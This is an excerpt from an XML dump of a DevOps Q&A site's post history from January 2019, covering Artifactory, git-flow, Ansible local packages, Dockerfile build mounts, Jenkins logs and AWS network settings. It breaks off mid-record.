  <row Id="19442" PostHistoryTypeId="5" PostId="6020" RevisionGUID="a0150018-0df1-4cfa-bf8c-aa7777b5f207" CreationDate="2019-01-22T19:18:24.957" UserId="739" Comment="less chatty" Text="We have two instances of Artifactory for Prod and Non-Prod.&#xD;&#xA;&#xD;&#xA;Normal syncing happens via a pull mechanism by the Prod instance.&#xD;&#xA;&#xD;&#xA;Is it possible to also have an additional push event sync from Non Prod instance to the Prod that we would use for hotfixes." ContentLicense="CC BY-SA 4.0" />
  <row Id="19443" PostHistoryTypeId="2" PostId="6070" RevisionGUID="134de0d2-2e22-4a00-b1e8-b01d43ab3389" CreationDate="2019-01-22T19:32:47.727" UserId="11976" Text="Our current software deployment lifecycle looks like this (using git-flow); &#xD;&#xA;&#xD;&#xA; 1. We test locally or on a development environment.&#xD;&#xA;&#xD;&#xA; 2. We submit a pull-request to merge the feature into the develop&#xD;&#xA;   branch&#xD;&#xA;&#xD;&#xA; 3. Our testers test the feature.&#xD;&#xA;&#xD;&#xA; 4. ** If rejected ** we create a new bugfix, which we test locally and submit a new pull-request to merge with the develop branch.&#xD;&#xA;&#xD;&#xA; 5. At the end of the sprint we create a release from the develop branch.&#xD;&#xA;&#xD;&#xA; 6. Deploy the release to the acceptation environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 7. ** When accepted by all the stakeholders **  We finish the release, thus merging the release branch into the master branch.&#xD;&#xA;&#xD;&#xA; 9. The master branch is then deployed to the production environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This used to work fine, but now we’re forced to create a new release at the end of each sprint, which means that the develop branch might contain  rejected features awaiting a bugfix at the time of release.&#xD;&#xA;&#xD;&#xA;To make it more complicated, we have two repositories, one for front-end and one for back-end and they have to be in sync. i.e. our front-end cannot contain features dependent on, an api endpoint that has been rejected by a tester and won't be finished before the release. &#xD;&#xA;&#xD;&#xA;I'm at a loss and could really use some advice. &#xD;&#xA;&#xD;&#xA;[*Sorry for the long comment, but I thought this question needed some context.*]&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19444" PostHistoryTypeId="1" PostId="6070" RevisionGUID="134de0d2-2e22-4a00-b1e8-b01d43ab3389" CreationDate="2019-01-22T19:32:47.727" UserId="11976" Text="How to deal with untested features in the develop branch before deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19445" PostHistoryTypeId="3" PostId="6070" RevisionGUID="134de0d2-2e22-4a00-b1e8-b01d43ab3389" CreationDate="2019-01-22T19:32:47.727" UserId="11976" Text="&lt;continuous-integration&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19446" PostHistoryTypeId="2" PostId="6071" RevisionGUID="362f2159-9e45-45b2-b909-7535df5980a1" CreationDate="2019-01-22T21:25:06.180" UserId="11508" Text="I have multiple hosts and my playbook has apt, pip modules to download necessary packages from repositories. When any (apt,pip) download module attempt to download packages, it does it for each host one by one. So I have to wait too long. Can ansible download these deb or pip packages to its local (or anywhere) and install to each host to decrease time.&#xD;&#xA;What is the best practice when there are lots of hosts and lots of packages?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19447" PostHistoryTypeId="1" PostId="6071" RevisionGUID="362f2159-9e45-45b2-b909-7535df5980a1" CreationDate="2019-01-22T21:25:06.180" UserId="11508" Text="Can Ansible use a local repository?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19448" PostHistoryTypeId="3" PostId="6071" RevisionGUID="362f2159-9e45-45b2-b909-7535df5980a1" CreationDate="2019-01-22T21:25:06.180" UserId="11508" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19452" PostHistoryTypeId="5" PostId="6052" RevisionGUID="df875463-c7a4-430a-b26d-736c222cd983" CreationDate="2019-01-22T22:19:21.470" UserId="4427" Comment="Added a response to OP's comment that was a bit big to put in a comment and formating" Text="I think your ingress rule is fine but I think your Traefik service needs to be changed. Check out this article https://kubernetes.io/docs/tutorials/services/source-ip/&#xD;&#xA;&#xD;&#xA;I think what you are looking for is `nodePort` with `externalTrafficPolicy` set to `local`.&#xD;&#xA;&#xD;&#xA;This should allow Traefik to enforce `whitelist-source-range` annotation on the ingress. &#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I was going to go into more detail but it was so old I thought you might have already found a solution. Ingress controllers are not allowed to bind to 80 and 443 but most organizations are using the load balancer service to load balance traffic to the Ingress controller and then out to the kubernetes services and then to the pods. &#xD;&#xA;&#xD;&#xA;    DNS    HostName Routing       Port routing&#xD;&#xA;    LB --&gt; Ingress nodePort --&gt; Service ClusterIP --&gt; Pod&#xD;&#xA;&#xD;&#xA;I don't usually use the cloud providers LB. So usually I will wildcard my dns `*.mycluster.com` and point that to nginx. In nginx I will then have a couple of configs to redirect that traffic to either the ingress controller or some of my services that are running nodePort because they are fragile. &#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19456" PostHistoryTypeId="2" PostId="6074" RevisionGUID="1a190d7e-d14f-4a1c-8236-6e2cb5173342" CreationDate="2019-01-23T08:47:46.270" UserId="800" Text="If your local network is faster than your internet connexion you can do the following: &#xD;&#xA;&#xD;&#xA; 1. Download the tarball in your ansible host using run_once option.&#xD;&#xA; 2. Copy it to each target. &#xD;&#xA; 3. Install it locally from a file ; most of package managers support local install.&#xD;&#xA;&#xD;&#xA;**Yum rpm example**&#xD;&#xA;&#xD;&#xA;    - name: Download RPM locally&#xD;&#xA;      get_url:&#xD;&#xA;        url: http://example.com/path/file.rpm&#xD;&#xA;        dest: /local_path/file.rpm&#xD;&#xA;      delegate_to: localhost&#xD;&#xA;      run_once: yes&#xD;&#xA;&#xD;&#xA;    - name: Copying file.rpm &#xD;&#xA;      copy:&#xD;&#xA;        src: /local_path/file.rpm&#xD;&#xA;        dest: /remote_path/file.rpm&#xD;&#xA;&#xD;&#xA;    - name: Install rpm from a local file&#xD;&#xA;      yum:&#xD;&#xA;        name: /remote_path/file.rpm&#xD;&#xA;        state: present&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;**Last task pip example**  &#xD;&#xA;&#xD;&#xA;    - pip:&#xD;&#xA;      name: file:///path/to/MyApp.tar.gz&#xD;&#xA;&#xD;&#xA;The problem with this method, is when you have many dependencies ; you have to download and install them all before your package (Optionally with a requirements.txt or so depending on  package manager..)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19457" PostHistoryTypeId="5" PostId="6074" RevisionGUID="0070cfcb-4f8b-4ef2-88be-5da7f2f91033" CreationDate="2019-01-23T09:12:31.290" UserId="800" Comment="Add apt example" Text="If your local network is faster than your internet connexion you can do the following: &#xD;&#xA;&#xD;&#xA; 1. Download the tarball in your ansible host using run_once option.&#xD;&#xA; 2. Copy it to each target. &#xD;&#xA; 3. Install it locally from a file ; most of package managers support local install.&#xD;&#xA;&#xD;&#xA;**Yum rpm example**&#xD;&#xA;&#xD;&#xA;    - name: Download RPM locally&#xD;&#xA;      get_url:&#xD;&#xA;        url: http://example.com/path/file.rpm&#xD;&#xA;        dest: /local_path/file.rpm&#xD;&#xA;      delegate_to: localhost&#xD;&#xA;      run_once: yes&#xD;&#xA;&#xD;&#xA;    - name: Copying file.rpm &#xD;&#xA;      copy:&#xD;&#xA;        src: /local_path/file.rpm&#xD;&#xA;        dest: /remote_path/file.rpm&#xD;&#xA;&#xD;&#xA;    - name: Install rpm from a local file&#xD;&#xA;      yum:&#xD;&#xA;        name: /remote_path/file.rpm&#xD;&#xA;        state: present&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;**Local install example with pip**  &#xD;&#xA;&#xD;&#xA;    - pip:&#xD;&#xA;      name: file:///remote_path/file.gz&#xD;&#xA;&#xD;&#xA;**Local install example with apt**&#xD;&#xA; &#xD;&#xA;    - name: Install a .deb package&#xD;&#xA;      apt:&#xD;&#xA;        deb: /remote_path/file.deb&#xD;&#xA;&#xD;&#xA;The problem with this method, is when you have many dependencies ; you have to download and install them all before your package (Optionally with a requirements.txt or so depending on the package manager you use..)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19461" PostHistoryTypeId="2" PostId="6076" RevisionGUID="67cf2b16-2014-450e-abb7-246bfbcc1dee" CreationDate="2019-01-23T16:03:26.087" UserId="3" Text="As per [@pgayvallet comment on GitHub](https://github.com/docker/for-mac/issues/3110#issuecomment-456853036):&#xD;&#xA;&#xD;&#xA;&gt; As the daemon runs inside a VM in Docker Desktop, **it is not possible to actually share a mac host device with the container inside the VM**, and this will most definitely never be possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="19462" PostHistoryTypeId="2" PostId="6077" RevisionGUID="f0dcfed3-a54b-4308-a382-b7ec2e3f655d" CreationDate="2019-01-23T16:46:18.323" UserId="47" Text="You could use the same tools used in Trunk Based Development (TBD) to carry work-in-progress in the trunk (the only non-release TBD branch with a longer lifespan):&#xD;&#xA;&#xD;&#xA;- [tag:feature-toggles]/[tag:feature-flags]&#xD;&#xA;- [branch by abstraction][1]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Branch by Abstraction&quot; is a technique [\[1\]][2] for making a&#xD;&#xA;&gt; large-scale change to a software system in gradual way that allows you&#xD;&#xA;&gt; to release the system regularly while the change is still in-progress.&#xD;&#xA;&#xD;&#xA;These would allow merging a feature in develop/master at any time, without the feature being actually (completed/functional and) enabled. &#xD;&#xA;&#xD;&#xA;If technically these are implemented using configurable means then at any time the software can be tested both with and without a feature enabled, simply by flipping the config flag in the respective test environment. Otherwise special builds may be needed to enable them (still a lot easier than doing a branch merge with the feature's full/partial code).&#xD;&#xA;&#xD;&#xA;And you could then run your all your feature testing in develop/master to get your features enabled, one at a time.&#xD;&#xA;&#xD;&#xA;But if you go in this direction - why would you even struggle with git_flow and run into all these problems? Just go TBD and CI/CD all the way :) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/BranchByAbstraction.html&#xD;&#xA;  [2]: https://martinfowler.com/bliki/BranchByAbstraction.html#footnote-coin" ContentLicense="CC BY-SA 4.0" />
  <row Id="19464" PostHistoryTypeId="2" PostId="6078" RevisionGUID="df7e0fb2-d01f-43c2-b3c4-8c4c5e847652" CreationDate="2019-01-23T17:03:17.447" UserId="11179" Text="I need to build a Docker image containing a pre-populate a database.&#xD;&#xA;For now, I am using the following commands in our `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    COPY db-dump.gz /tmp&#xD;&#xA;    RUN zcat /tmp/db-dump.gz | mysql&#xD;&#xA;&#xD;&#xA;But is there a way to achieve the same result without copying first the (potentially large) dump into the container?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19465" PostHistoryTypeId="1" PostId="6078" RevisionGUID="df7e0fb2-d01f-43c2-b3c4-8c4c5e847652" CreationDate="2019-01-23T17:03:17.447" UserId="11179" Text="How to access a file from the context in a Dockerfile RUN command without copying it first into the target image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19466" PostHistoryTypeId="3" PostId="6078" RevisionGUID="df7e0fb2-d01f-43c2-b3c4-8c4c5e847652" CreationDate="2019-01-23T17:03:17.447" UserId="11179" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19467" PostHistoryTypeId="5" PostId="6078" RevisionGUID="2f1d1486-2470-4038-95ff-a7079b4affde" CreationDate="2019-01-23T17:08:19.897" UserId="11179" Comment="added 236 characters in body" Text="I need to build a Docker image containing a pre-populate a database.&#xD;&#xA;For now, I am using the following commands in our `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    COPY db-dump.gz /tmp&#xD;&#xA;    RUN zcat /tmp/db-dump.gz | mysql&#xD;&#xA;&#xD;&#xA;But is there a way to achieve the same result without copying first the (potentially large) dump into the container?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At shell-level, I could pipe the data into the container using something along the lines of (untested):&#xD;&#xA;&#xD;&#xA;    zcat db-dump.gz | docker exec -i $CID mysql&#xD;&#xA;&#xD;&#xA;But I don't know if there is any similar option available in a Dockerfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="19468" PostHistoryTypeId="2" PostId="6079" RevisionGUID="0fe15550-d275-451a-8437-3a66b9d3df9f" CreationDate="2019-01-23T17:17:27.683" UserId="11995" Text="So I have an application that contains an ASP.NET Core backend and a React frontend (pure static).&#xD;&#xA;&#xD;&#xA;In our TFS 2018, we have created a Build that does the following:&#xD;&#xA;&#xD;&#xA; - Get sources from the repo&#xD;&#xA; - Get Nuget packages (backend)&#xD;&#xA; - Build the backend&#xD;&#xA; - Run backend tests&#xD;&#xA; - Get NPM packages (frontend)&#xD;&#xA; - Build the frontend&#xD;&#xA; - Run frontend tests&#xD;&#xA; - Generate and publish artifacts&#xD;&#xA;&#xD;&#xA;Then, a Release pickups those artifacts and deploy them to an Azure AppService (backend) and an Azure Storage v2 account (frontend).&#xD;&#xA;&#xD;&#xA;We currently have only one environment, but we need to support multiple ones. The problem is that the frontend build depends on some environment variables which are not present during the build stage. The build doesn't know where is it going to be deployed yet.&#xD;&#xA;&#xD;&#xA;So there are a few options here:&#xD;&#xA;&#xD;&#xA;- Generate the frontend build in a Release. This needs a way for the Release to get access to the sources, either via Git or by getting it from an artifact. Latest is really slow because of all the npm_modules.&#xD;&#xA;- Build should produce builds artifacts for all posible environments and each Release environment will pick up the proper one. &#xD;&#xA;&#xD;&#xA;What's the recommended approach to handle this on TFS 2018?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19469" PostHistoryTypeId="1" PostId="6079" RevisionGUID="0fe15550-d275-451a-8437-3a66b9d3df9f" CreationDate="2019-01-23T17:17:27.683" UserId="11995" Text="How to setup multiple build environments in Azure DevOps/TFS2018 in build time?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19470" PostHistoryTypeId="3" PostId="6079" RevisionGUID="0fe15550-d275-451a-8437-3a66b9d3df9f" CreationDate="2019-01-23T17:17:27.683" UserId="11995" Text="&lt;azure&gt;&lt;azure-devops&gt;&lt;tfs&gt;&lt;azure-pipelines&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19471" PostHistoryTypeId="4" PostId="6078" RevisionGUID="ca80643f-b04f-48b0-ae20-6ec85e68b6e0" CreationDate="2019-01-23T17:18:39.437" UserId="11179" Comment="edited title" Text="In a Dockerfile, is there a way to avoid copying files to make them accessible to the RUN command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19477" PostHistoryTypeId="2" PostId="6081" RevisionGUID="e5f30975-ac0b-4e81-afe8-e35c8eb96689" CreationDate="2019-01-24T07:29:45.490" UserId="11905" Text="&gt; Can Ansible use a local repository?&#xD;&#xA;&#xD;&#xA;I just take the title because the answer lies in it. &#xD;&#xA;&#xD;&#xA;&gt; What is the best practice when there are lots of hosts and lots of packages?&#xD;&#xA;&#xD;&#xA;You have a many hosts, hopefully from the same distribution. So it would make sense to create a local mirror (repository), which can be on your Ansible machine by the way, and to configure, for either [pip](https://packaging.python.org/guides/index-mirrors-and-caches/) or [apt](https://help.ubuntu.com/community/Rsyncmirror). &#xD;&#xA;&#xD;&#xA;This takes space, but will save you a lot of time downloading updates and packages. &#xD;&#xA;&#xD;&#xA;You have to calculate if it is worth it, as it takes a fair amount of storage, but setting this up isn't very complicated.&#xD;&#xA;&#xD;&#xA;Then just update the `apt` configuration of each hosts to point to your local mirror with *Ansible*. &#xD;&#xA;&#xD;&#xA;&gt; Can ansible download these deb or pip packages to its local (or anywhere) and install to each host to decrease time.&#xD;&#xA;&#xD;&#xA;For that part, I believe @storm gave a very good answer:&#xD;&#xA;&#xD;&#xA;    delegate_to: localhost&#xD;&#xA;    run_once: yes" ContentLicense="CC BY-SA 4.0" />
  <row Id="19478" PostHistoryTypeId="2" PostId="6082" RevisionGUID="d97fb142-2016-489e-be0d-7a14ef29d611" CreationDate="2019-01-24T08:26:37.230" UserId="11905" Text="&gt; But is there a way to achieve the same result without copying first the (potentially large) dump into the container?&#xD;&#xA;&#xD;&#xA;The only way that ables you to do that (which I know), is :&#xD;&#xA;&#xD;&#xA;    RUN gunzip &lt; $(curl -SL http://docker-localhost/db-dump.gz) \&#xD;&#xA;            | mysql&#xD;&#xA;&#xD;&#xA;For this you need to have your dump available on a website, which isn't ideal (probably not as fast as what you are doing)&#xD;&#xA;If you look at the good Dockerfiles (public ones), they mostly get archive files from the web, then remove the archives.&#xD;&#xA;&#xD;&#xA;Your commands in `Dockerfile` seem very good. You could just add a `&amp;&amp; rm /tmp/db-dump.gz` after `mysql`." ContentLicense="CC BY-SA 4.0" />
  <row Id="19479" PostHistoryTypeId="2" PostId="6083" RevisionGUID="cd140175-f9a6-448e-9714-3a18313ca953" CreationDate="2019-01-24T08:47:05.590" UserId="12011" Text="You can also as an alternative set the option to `false` for the stage where you want to check out the git:&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;  agent none&#xD;&#xA;  options { skipDefaultCheckout(true) }&#xD;&#xA;  stages {&#xD;&#xA;    stage('Build') {&#xD;&#xA;      agent { node { label 'builder' } }&#xD;&#xA;      options { skipDefaultCheckout(false) }&#xD;&#xA;      steps {&#xD;&#xA;        echo 'build-the-app'&#xD;&#xA;        stash(name: 'app', includes: 'outputs')&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    stage('Test') {&#xD;&#xA;      agent { node { label 'tester' } }&#xD;&#xA;      steps {&#xD;&#xA;        unstash 'app'&#xD;&#xA;        echo 'test-the-app'&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19482" PostHistoryTypeId="2" PostId="6084" RevisionGUID="fd6f10e0-6e1f-4e18-8919-b4c8de99bf4d" CreationDate="2019-01-24T11:33:28.550" UserId="12015" Text="We have recently installed artifactory OSS 6.2.0 and then created the following repositories (with Package Type - Maven).&#xD;&#xA;&#xD;&#xA;    Local&#xD;&#xA;     - wellows&#xD;&#xA;    Remote&#xD;&#xA;     - wellows-remote&#xD;&#xA;    Virtual&#xD;&#xA;     - wellows-virtual&#xD;&#xA;&#xD;&#xA;And in Virtual Repositories (wellows-virtual), I have included the remote repository which is 'wellows-remote'. I have a maven project and in the distribution tag, I have the following added and as part of the build now the artifacts gets published to the artifactory server. However, I couldn't see my .m2 repository contents anywhere in the Artifactory server. Why so? Am I missing out any configuration here?&#xD;&#xA;&#xD;&#xA;    &lt;distributionManagement&gt;&#xD;&#xA;        &lt;repository&gt;&#xD;&#xA;            &lt;id&gt;central&lt;/id&gt;&#xD;&#xA;            &lt;name&gt;wellow.jrp.com&lt;/name&gt;&#xD;&#xA;            &lt;url&gt;http://wellow.jrp.com:8081/artifactory/wellows/&lt;/url&gt;&#xD;&#xA;        &lt;/repository&gt;&#xD;&#xA;    &lt;/distributionManagement&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19483" PostHistoryTypeId="1" PostId="6084" RevisionGUID="fd6f10e0-6e1f-4e18-8919-b4c8de99bf4d" CreationDate="2019-01-24T11:33:28.550" UserId="12015" Text="M2 Repo contents is not available in artifactory server" ContentLicense="CC BY-SA 4.0" />
  <row Id="19484" PostHistoryTypeId="3" PostId="6084" RevisionGUID="fd6f10e0-6e1f-4e18-8919-b4c8de99bf4d" CreationDate="2019-01-24T11:33:28.550" UserId="12015" Text="&lt;maven&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19485" PostHistoryTypeId="4" PostId="6079" RevisionGUID="3b8139ae-307f-43af-819c-37b1bde5b7e1" CreationDate="2019-01-24T12:52:39.237" UserId="11995" Comment="edited title" Text="How to setup multiple build environments in Azure DevOps/TFS2018?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19486" PostHistoryTypeId="2" PostId="6085" RevisionGUID="64b4de97-7fd4-4aa1-b977-bcc084ba03f3" CreationDate="2019-01-24T13:12:58.487" UserId="11797" Text="How can i get the Jenkins console output in a text file?&#xD;&#xA;I want to share it with someone, is there any way to do it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19487" PostHistoryTypeId="1" PostId="6085" RevisionGUID="64b4de97-7fd4-4aa1-b977-bcc084ba03f3" CreationDate="2019-01-24T13:12:58.487" UserId="11797" Text="How can we get the jenkins console output in a text file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19488" PostHistoryTypeId="3" PostId="6085" RevisionGUID="64b4de97-7fd4-4aa1-b977-bcc084ba03f3" CreationDate="2019-01-24T13:12:58.487" UserId="11797" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19492" PostHistoryTypeId="2" PostId="6087" RevisionGUID="3f7f5510-4728-442d-aeb2-be399211e38b" CreationDate="2019-01-24T13:23:38.720" UserId="11598" Text="if you want just access the log and download it as a txt file to your workspace from the job's URL:&#xD;&#xA;&#xD;&#xA;    ${BUILD_URL}/consoleText&#xD;&#xA;&#xD;&#xA;On Linux, you can use `wget` to download it to your workspace&#xD;&#xA;&#xD;&#xA;    wget ${BUILD_URL}/consoleText&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;The actual log file on the file system is in the Master machine. You can find it under:&#xD;&#xA;&#xD;&#xA; `$JENKINS_HOME/jobs/$JOB_NAME/builds/lastSuccessfulBuild/log`" ContentLicense="CC BY-SA 4.0" />
  <row Id="19493" PostHistoryTypeId="2" PostId="6088" RevisionGUID="d6eb0d4a-7ef5-4e2a-90cd-740fade1cfb7" CreationDate="2019-01-24T13:32:00.690" UserId="12018" Text="Another idea would be to mount a volume which would give the container access to a directory on the local filesystem. This would allow you to access the zip without copying the archive into the container; however, you wouldn't be able to ship the container with the data. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19494" PostHistoryTypeId="2" PostId="6089" RevisionGUID="4b6fcaf3-3607-40c9-82bb-c414ca4c2b49" CreationDate="2019-01-24T13:43:23.013" UserId="7730" Text="You can do this with BuildKit and the experimental frontend. As of 18.09, BuildKit can be enabled with either:&#xD;&#xA;&#xD;&#xA;    export DOCKER_BUILDKIT=1&#xD;&#xA;&#xD;&#xA;for a single shell, or to change the default for the host, you can add to /etc/docker/daemon.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;features&quot;: {&quot;buildkit&quot;: true}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You'll need to reload the docker engine after changing the above.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;With BuildKit enabled, your Dockerfile would look like:&#xD;&#xA;&#xD;&#xA;    # syntax=docker/dockerfile:experimental&#xD;&#xA;    &#xD;&#xA;    RUN --mount=type=bind,source=db-dump.gz,target=/tmp/db-dump.gz \&#xD;&#xA;        zcat /tmp/db-dump.gz | mysql&#xD;&#xA;&#xD;&#xA;You then build with a `docker build .` command as before, but with BuildKit enabled.&#xD;&#xA;&#xD;&#xA;To see more about BuildKit's experimental features, see https://github.com/moby/buildkit/blob/master/frontend/dockerfile/docs/experimental.md&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19496" PostHistoryTypeId="2" PostId="6090" RevisionGUID="a3c2a4fb-7408-4e91-84b0-ed18928dd559" CreationDate="2019-01-24T14:01:00.473" UserId="11598" Text="I hosted one website in AWS. When I try to open in a browser it's working properly. But when I try to ping same website that time it's not sent a response. so how to enable ping response." ContentLicense="CC BY-SA 4.0" />
  <row Id="19497" PostHistoryTypeId="1" PostId="6090" RevisionGUID="a3c2a4fb-7408-4e91-84b0-ed18928dd559" CreationDate="2019-01-24T14:01:00.473" UserId="11598" Text="How to set ping response of AWS ec2 instance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19498" PostHistoryTypeId="3" PostId="6090" RevisionGUID="a3c2a4fb-7408-4e91-84b0-ed18928dd559" CreationDate="2019-01-24T14:01:00.473" UserId="11598" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19499" PostHistoryTypeId="2" PostId="6091" RevisionGUID="1f2faf3d-3f55-4a73-a4f0-f01e46b32adc" CreationDate="2019-01-24T14:05:44.387" UserId="11797" Text="When we created a new instance in aws ec2, by default aws security group block all protocol and port. &#xD;&#xA;&#xD;&#xA;AWS security groups block ICMP (including ping, traceroute, etc.) by default. You need to explicitly enable it.&#xD;&#xA;&#xD;&#xA;So, enable ICMP protocol (ping response) follow below steps.&#xD;&#xA;&#xD;&#xA;Go to **EC2 Dashboard** and click &quot;**Running Instances**&quot;&#xD;&#xA;&#xD;&#xA;on **&quot;Security Groups&quot;**, select the group of your instance which you need to add security.&#xD;&#xA;&#xD;&#xA;click on the &quot;**Inbound**&quot; tab&#xD;&#xA;&#xD;&#xA;Click &quot;**Edit**&quot; Button (It will open a popup window)&#xD;&#xA;&#xD;&#xA;click &quot;**Add Rule**&quot;&#xD;&#xA;&#xD;&#xA;Select the &quot;**Custom ICMP rule - IPv4**&quot; as Type&#xD;&#xA;&#xD;&#xA;Select &quot;**Echo Request**&quot; as the Protocol (Port Range by default show as &quot;N/A)&#xD;&#xA;&#xD;&#xA;Enter the &quot;**0.0.0.0/0**&quot; as Source&#xD;&#xA;&#xD;&#xA;Click &quot;**Save**&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19500" PostHistoryTypeId="2" PostId="6092" RevisionGUID="902ec8d7-adbf-4d42-a6c2-a5221a25be4a" CreationDate="2019-01-24T14:05:53.113" UserId="11797" Text="Recently we were testing with AWS VPC, and a requirement for our project was that we needed to allow nodes within a VPC access to S3 buckets, but deny access from any other IP address.&#xD;&#xA;&#xD;&#xA;Is there anyway to Allow AWS S3 Access From only Specific IPs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19501" PostHistoryTypeId="1" PostId="6092" RevisionGUID="902ec8d7-adbf-4d42-a6c2-a5221a25be4a" CreationDate="2019-01-24T14:05:53.113" UserId="11797" Text="How to Allow AWS S3 Access From only Specific IPs" ContentLicense="CC BY-SA 4.0" />
  <row Id="19502" PostHistoryTypeId="3" PostId="6092" RevisionGUID="902ec8d7-adbf-4d42-a6c2-a5221a25be4a" CreationDate="2019-01-24T14:05:53.113" UserId="11797" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19503" PostHistoryTypeId="2" PostId="6093" RevisionGUID="4e53ce16-8895-4053-b144-eb1c88d98c4e" CreationDate="2019-01-24T16:09:13.603" UserId="11220" Text="I'm trying to find a way to split the Google AppEngine for some Ip address for testing purpose is there any way to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19504" PostHistoryTypeId="1" PostId="6093" RevisionGUID="4e53ce16-8895-4053-b144-eb1c88d98c4e" CreationDate="2019-01-24T16:09:13.603" UserId="11220" Text="How to split traffic in Google AppEngine for specific IP addresses" ContentLicense="CC BY-SA 4.0" />
  <row Id="19505" PostHistoryTypeId="3" PostId="6093" RevisionGUID="4e53ce16-8895-4053-b144-eb1c88d98c4e" CreationDate="2019-01-24T16:09:13.603" UserId="11220" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19506" PostHistoryTypeId="2" PostId="6094" RevisionGUID="2f36a6aa-f4b9-4517-a208-c78cdb88d723" CreationDate="2019-01-24T16:12:37.003" UserId="11645" Text="Welcome, Vivek &#xD;&#xA;&#xD;&#xA;This is not how it works &#xD;&#xA;&#xD;&#xA;Your local cache (`~/.m2`) is not transferred to Artifactory if anything the direction is the other way around (in some point of time you'll see files from Artifactory appear in your local cache).&#xD;&#xA;&#xD;&#xA;When you run a Maven build, the configuration you provided in Maven (check the Set Me Up button in Artifactory UI) will make Maven searching for dependencies in the following order:&#xD;&#xA;&#xD;&#xA; - Local cache (`~./m2`)&#xD;&#xA; - Artifactory (first local, then remote caches)&#xD;&#xA; - If Artifactory won't find the artifact, whenever `willows-remote` is pointing to.&#xD;&#xA;&#xD;&#xA;After the artifact is found, it will be saved in Artifactory cache and in a local cache on your machine.&#xD;&#xA;&#xD;&#xA;The `&lt;distributionManagement&gt;` tag you used in your `pom.xml` is for deploying the artifacts you created when you run a `mvn deploy` command. It will take the artifact produced (one file, not your entire `~/.m2` cache) and upload it to the repo specified in `&lt;distributionManagement&gt;`.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19507" PostHistoryTypeId="2" PostId="6095" RevisionGUID="0ae0adf1-d395-416b-892d-6240a99b6af4" CreationDate="2019-01-24T18:06:06.957" UserId="47" Text="Yes, it is possible to split the incoming traffic between several GAE app/service versions based on the IP address from which the requests originate. From [Splitting traffic across multiple versions][1]: &#xD;&#xA;&#xD;&#xA;&gt; When you have specified two or more versions for splitting, you must&#xD;&#xA;&gt; choose whether to split traffic by using either an IP address or HTTP&#xD;&#xA;&gt; cookie. It's easier to set up an IP address split, but a cookie split&#xD;&#xA;&gt; is more precise. For more information, see [IP address splitting][2]&#xD;&#xA;&gt; and [Cookie splitting][3].&#xD;&#xA;&#xD;&#xA;Read the respective linked section (same page) for details and limitations.&#xD;&#xA;&#xD;&#xA;Configuring the traffic split is done from the [Versions][4] page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/standard/python/splitting-traffic&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/splitting-traffic#ip_address_splitting&#xD;&#xA;  [3]: https://cloud.google.com/appengine/docs/standard/python/splitting-traffic#cookie_splitting&#xD;&#xA;  [4]: https://console.cloud.google.com/appengine/versions" ContentLicense="CC 